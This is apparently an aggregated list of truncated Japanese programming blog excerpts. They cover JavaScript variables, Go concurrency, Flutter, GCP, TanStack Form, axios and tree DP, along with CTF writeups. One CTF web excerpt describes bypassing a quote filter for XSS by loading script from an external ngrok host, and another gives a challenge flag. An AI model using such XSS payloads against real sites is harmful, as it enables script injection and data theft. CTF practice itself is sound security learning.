const

const オブジェクトのプロパティー const オブジェクトのプロパティーは変更可能。再代入や再定義はエラー。 const a = { prop: 'World' } a.prop = 'Japan'; console.log(a); #=> {prop: 'Japan'}

const let varの違い タイプ 再宣言 再代入 スコープ 初期化 const ✖️ ✖️ ブロック ✖️ let ✖️ ● ブロック ✖️ var ● ● 関数 undefined 再宣言 varのみ● varが非推奨のため使わない方がいい var a = 1; var a = 2; 再代入 let varが● let a = 1; a = 2; var b = 1; b = 2; スコープと初期化 varの時のみ違うため varを使わないことを推奨

※ 置き換えられないケースもあるかと思いますので、ご承知おきください。 JavaScriptの即時関数を使って、letを使いそうになるところをconstで定義できるようになることがある。 具体的には条件分岐で活躍する。 複雑なif文やswitch文で変数の値が変わるときに使える。 サンプルコードを書いていく。 let str: string = ""; if (cond1) { str = "hoge"; } else if (cond2) { str = "fuga"; } else if (cond3) { str = "piyo"; } else { str = "hogehoge"; …

この大会は2024/4/13 7:00(JST)～2024/4/15 7:00(JST)に開催されました。 今回もチームで参戦。結果は2031点で614チーム中47位でした。 自分で解けた問題をWriteupとして書いておきます。 I rebel... (Welcome) Discordに入り、#rulesチャネルでルールを見ると、フラグが書いてあった。 shctf{th3r3_is_a_great_DISturb4nc3_n_t3h_4ce} Falling In ROP (pwn) Ghidraでデコンパイルする。 undefined8 main(void) { DisplayArt();…

今日のビルド bb1c3418d0fd3235c678ad68f7b45d32f8183a3f までを pull ってきてビルド。エラー/警告ともになし。

web/b01ler-ad web/3-city-elves-writeups web/imagehost web/pwnhub web/b01lers_casino web/b01ler-ad const content = req.body.content.replace("'", '').replace('"', '').replace("`", ''); '"`が使えない状態でXSSさせる問題。 それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。 <script src=//c748-194-180-179-191.ngrok-fr…

はじめに 準備 create-next-app tanstack-form インストール フォーム実装 zod のスキーマを定義 FormFactory オブジェクトを作成 Server Action を定義 フォームコンポーネントを作成 ページでフォームコンポーネントを使用する 動作確認 クライアントサイドのバリデーション サーバーサイドのバリデーション TanStack Form を使ってみた感想 最後に はじめに Next.js v14 から Stable になった Server Actions。 それに対応した フォームライブラリとして Tanstack Form を試してみます。 T…

はじめに こんにちは。サーバーサイドエンジニアの佐野(@Kiyo_Karl2)です。 本記事は、4本の連載記事の2本目となります。 Goの並行処理入門-Goroutine基礎編 Goの並行処理入門-syncパッケージ編 ←今ここ Goの並行処理入門-channel編 Goの並行処理入門-select編 対象読者 Go言語の基礎はわかっているが、Goroutineについてはよく理解していない メモリ、プロセス、スレッド、並行処理、並列処理といったワードについて概要とその違いを理解している 連載記事を通して取り扱わないこと 本連載記事ではGoroutine、sync、channel、select文…

以前の職場では主にjQueryのajaxを使用していましたが、新しい職場ではJavaScriptのFetch APIを使うことになったので、基本的なアレコレをまとめてみた。

全方位木 DP の練習問題！！ が素数とは限らないので「左右から累積和」が必要なタイプの全方位木 DP。 問題へのリンク 問題概要 正の整数 と、頂点数 の木 が与えられる。この木の各頂点を「黒色」または「白色」に塗る。 各頂点 について、以下の条件をみたす場合の数を で割った余りを求めよ。 頂点 は黒色である 黒色の頂点は連結である 制約 解法：全方位木 DP この問題に対して、各頂点 を根とした木 DP をしてしまうと、 の計算量となってしまいます。このようなとき、全方位木 DP がしばしば有効です。 ここでは、通常の「根を 1 つ決めたときの木 DP」を全方位木 DP へと機械的に拡張す…

はじめに 今回はGoogle Cloud Functions(.NET) + Cloud Scheduler + Cloud Pub/Subを用いて定期的にSlackにメッセージを投稿するシステムを作ってみようと思います。 実際に動作させている様子 はじめに 概要 Slackでの操作 Slackアプリを作成する GCPでの操作 Cloud Pub/Subの設定 Cloud Functionsの設定 Cloud Schedulerの設定 動作確認 概要 以下のような構成図で実装します。 構成図 Cloud Scheduler : フルマネージド cron ジョブ スケジューラ。 Cloud Pu…

こんにちは、UPSIDERで日々モバイルアプリ開発をしているふっくです。 UPSIDERでは今後、よりアプリ開発に注力し決済プラットフォームの中核的な役割を果たすことを目指しています。 今回は、今後の開発・運用を目指して考えたFlutterアプリ向けのアーキテクチャを紹介します。 ネイティブアプリの世界で触れてきた色々なアーキテクチャ・フレームワークを参考に、開発の後半でも順調にスケールさせることができるように、工夫を凝らしました。 本アーキテクチャで作ったサンプルアプリもあるので、ぜひ以下のリンクから見てみてください。 https://github.com/upsidr/flutter_ar…

Findy Team+でフロントエンドエンジニアをしている 川村(@peijun333)です。 Findy では、フロントエンドのコード品質と安定性を確保するために Jest などのテストフレームワークを積極的に活用しています。通常、Jest は CLI から実行してテスト結果をコンソールで確認しますが、コマンドを用意する手間や、テスト経過のデバッグのために都度 console.log などでその内容を確認しなければならずとても不便です。 そこで、今回はテストの自動化とリアルタイムなフィードバックを提供する JavaScript の統合テストツールである Wallaby.js を紹介します。W…

Flutterで多言語化したいなと思い、いろいろ調べてみたときの備忘録(*´ω｀*) よくみるのはこんなコードだけど、 Locale locale = Localizations.localeOf(context); 日本語と英語のみをサポートしているときに、 簡体中文(デフォルト) 日本語 English みたいな感じの並びで、デフォルトが中国語の場合だと、 英語で表示してほしいけど、日本語が採用されてしまう。。 Localizations版の動き いろいろ試してみるとこんな感じっぽい Localizations.localeOf()はアプリでの表示言語を取得 MaterialAppのloc…

axiosとは？ axiosを使用した処理例 axios以外のJavascriptのHTTPクライアント axiosとは？ axiosは、JavaScriptで使用される人気のあるHTTPクライアントライブラリです。 主にWebアプリケーションやNode.jsアプリケーションでサーバーとのHTTPリクエストを行う際に使用されます。 axiosを使うことで、簡単にデータの取得や送信、そして処理ができます。 axiosを使用した処理例 以下はaxiosを使用した簡単なGETリクエストの例です: const axios = require('axios'); // GETリクエストを送信 axios…